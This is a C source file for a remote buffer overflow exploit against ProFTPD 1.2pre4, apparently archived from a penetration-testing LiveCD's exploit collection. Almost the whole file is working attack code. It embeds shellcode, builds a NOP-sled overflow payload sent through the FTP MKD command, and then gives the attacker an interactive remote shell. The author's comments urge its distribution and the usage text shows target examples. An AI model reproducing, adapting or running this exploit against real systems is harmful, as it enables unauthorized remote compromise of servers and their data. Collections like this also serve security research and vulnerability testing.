home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / proftpd / proftpX.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  182 lines

  1. /*
  2.  
  3.                  ProFTPD 1.2pre4 Remote Buffer Overflow Xploit 
  4.                            by wildcoyote@coders-pt.org
  5.  
  6.   Advisorie (from www.securityfocus.com):
  7.  
  8.   The vulnerability in 1.2pre1, 1.2pre3 and 1.2pre3 is a remotely exploitable
  9.   buffer overflow, the result of a sprintf() in the log_xfer() routine in src/log.c.
  10.   The vulnerability in -> 1.2pre4 <- is a mkdir overflow. The name of the created
  11.   path can not exceed 255 chars.
  12.  
  13.   -> UNRELEASED! DISTRIBUTE! <- :] heh
  14.  
  15.   I'm almost sure that no1 coded a exploit against this version of
  16.   ProFtpd/using the same buffer overflow.
  17.  
  18. */
  19.  
  20. #include <netdb.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #include <unistd.h>
  25. #include <string.h>
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <unistd.h>
  29. #include <errno.h>
  30.  
  31. #define DELAY 2 // wait 2 secondz before sending each command :]
  32. #define DEFAULT_OFFSET                    0
  33. #define DEFAULT_BUFFER_SIZE             255
  34. #define RETURN_ADDRESS           0xbffff550
  35. #define NOP                            0x90
  36.  
  37. char shellcode[] =
  38.    "\x90\x90\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
  39.    "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0"
  40.    "\x27\x8d\x5e\x05\xfe\xc5\xb1\xed\xcd\x80\x31\xc0\x8d\x5e\x05\xb0"
  41.    "\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1\xd0\xff\xf7\xdb\x31\xc9\xb1\x10"
  42.    "\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10"
  43.    "\xcd\x80\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89"
  44.    "\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xac\xff\xff\xff";
  45.  
  46. int
  47. openhost(char *host,int port) {
  48.    int sock;
  49.    struct sockaddr_in addr;
  50.    struct hostent *he;
  51.    he=gethostbyname(host);
  52.    if (he==NULL) return -1;
  53.    sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  54.    if (sock==-1) return -1;
  55.    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  56.    addr.sin_family=AF_INET;
  57.    addr.sin_port=htons(port);
  58.    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock==-1;
  59.    return sock;
  60. }
  61.  
  62. void
  63. sends(int sock,char *buf) {
  64.   write(sock,buf,strlen(buf));
  65. }
  66.  
  67. void
  68. own3dshell(int sock)
  69. {
  70.  char buf[1024];
  71.  fd_set rset;
  72.  int i;
  73.  while (1)
  74.  {
  75.   FD_ZERO(&rset);
  76.   FD_SET(sock,&rset);
  77.   FD_SET(STDIN_FILENO,&rset);
  78.   select(sock+1,&rset,NULL,NULL,NULL);
  79.   if (FD_ISSET(sock,&rset))
  80.   {
  81.    i=read(sock,buf,1024);
  82.    if (i <= 0)
  83.    {
  84.      printf("The connection was closed!\n");
  85.      printf("Exiting...\n\n");
  86.      exit(0);
  87.    }
  88.    buf[i]=0;
  89.    puts(buf);
  90.   }
  91.   if (FD_ISSET(STDIN_FILENO,&rset))
  92.   {
  93.    i=read(STDIN_FILENO,buf,1024);
  94.    if (i>0)
  95.    {
  96.     buf[i]=0;
  97.     write(sock,buf,i);
  98.    }
  99.   }
  100.  }
  101. }
  102.  
  103. void
  104. own(char *username, char *password, char *writable_dir, char *host, int port, int offset)
  105. {
  106.  char buf[512], *buf_ptr, *ptr;
  107.  long *addr_ptr, addr;
  108.  int bsize=DEFAULT_BUFFER_SIZE+100, sock, i;
  109.  
  110.  printf("Trying to connect to %s [%d]...",host,port);
  111.  sock=openhost(host,port);
  112.  if (sock==-1)
  113.  {
  114.   printf("FAILED\n");
  115.   printf("Exiting...\n\n");
  116.   exit(-1);
  117.  }
  118.  printf("SUCCESSFULL\n");
  119.  printf("Sending username (%s)...",username);
  120.  snprintf(buf,sizeof(buf),"USER %s\n",username);
  121.  sends(sock,buf);
  122.  printf("DONE\n");
  123.  bzero(buf,strlen(buf));
  124.  sleep(DELAY);
  125.  printf("Sending password (");
  126.  for(i=0;i<strlen(password);i++) printf("*");
  127.  printf(")...");
  128.  snprintf(buf,sizeof(buf),"PASS %s\n",password);
  129.  sends(sock,buf);
  130.  printf("DONE\n");
  131.  bzero(buf,strlen(buf));
  132.  sleep(DELAY);
  133.  printf("CWD %s...",writable_dir);
  134.  snprintf(buf,sizeof(buf),"CWD %s\n",writable_dir);
  135.  sends(sock,buf);
  136.  printf("DONE\n");
  137.  bzero(buf,strlen(buf));
  138.  sleep(DELAY);
  139.  printf("Allocating mem for buffer overflow...\n");
  140.  if (!(buf_ptr=malloc(bsize)))
  141.  {
  142.   printf("Couldn't allocate memory!\n");
  143.   printf("Exiting...\n\n");
  144.   exit(-1);
  145.  }
  146.  printf("Preparing buffer...\n");
  147.  addr=RETURN_ADDRESS-offset;
  148.  ptr=buf_ptr;
  149.  addr_ptr=(long *) ptr;
  150.  for (i=0;i<bsize; i+=4) *(addr_ptr++)=addr;
  151.  for (i=0;i< bsize/2;i++) buf_ptr[i]=NOP;
  152.  ptr=buf_ptr+((bsize/2)-(strlen(shellcode)/2));
  153.  for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i];
  154.  buf_ptr[bsize-1]='\0';
  155.  snprintf(buf,sizeof(buf),"MKD %s\n",buf_ptr);
  156.  printf("Sending evil'code...\n");
  157.  sends(sock,buf);
  158.  sleep(DELAY);
  159.  printf("Oh k! If all went well, we should have a suid'shell wainting for uz ;)\n");
  160.  printf("Enjoy...\n");
  161.  own3dshell(sock);
  162. }
  163.  
  164. main(int argc, char *argv[])
  165. {
  166.  printf("\n\tProFtpd 1.2pre4 Remote Xploit by wildcoyote@coders-pt.org\n\n");
  167.  if (argc<5)
  168.  {
  169.   printf("Sintaxe: %s <username> <password> <writable dir> <host> [port] [offset]\n",argv[0]);
  170.   printf("Example:\n\n");
  171.   printf(" -> If you have a account on the box <-\n");
  172.   printf("    %s wildcoyote my_pass /tmp biatx.userfriendly\n",argv[0]);
  173.   printf(" -> Anonymous access on tha box <-\n");
  174.   printf("    %s anonymous whatever@ /incoming 192.168.0.2\n\n",argv[0]);
  175.   printf("If thiz doesn't bind tha own3d'shell, try a offset between 0-3\n");
  176.   printf("Regardz, wildcoyote@coders-pt.org\n\n");
  177.  }
  178.  else if (argc==5) own(argv[1],argv[2],argv[3],argv[4],21,DEFAULT_OFFSET);
  179.       else if (argc==6) own(argv[1],argv[2],argv[3],argv[4],atoi(argv[5]),DEFAULT_OFFSET);
  180.            else own(argv[1],argv[2],argv[3],argv[4],atoi(argv[5]),atoi(argv[6]));
  181. }
  182. /*                    www.hack.co.za           [3 July 2000]*/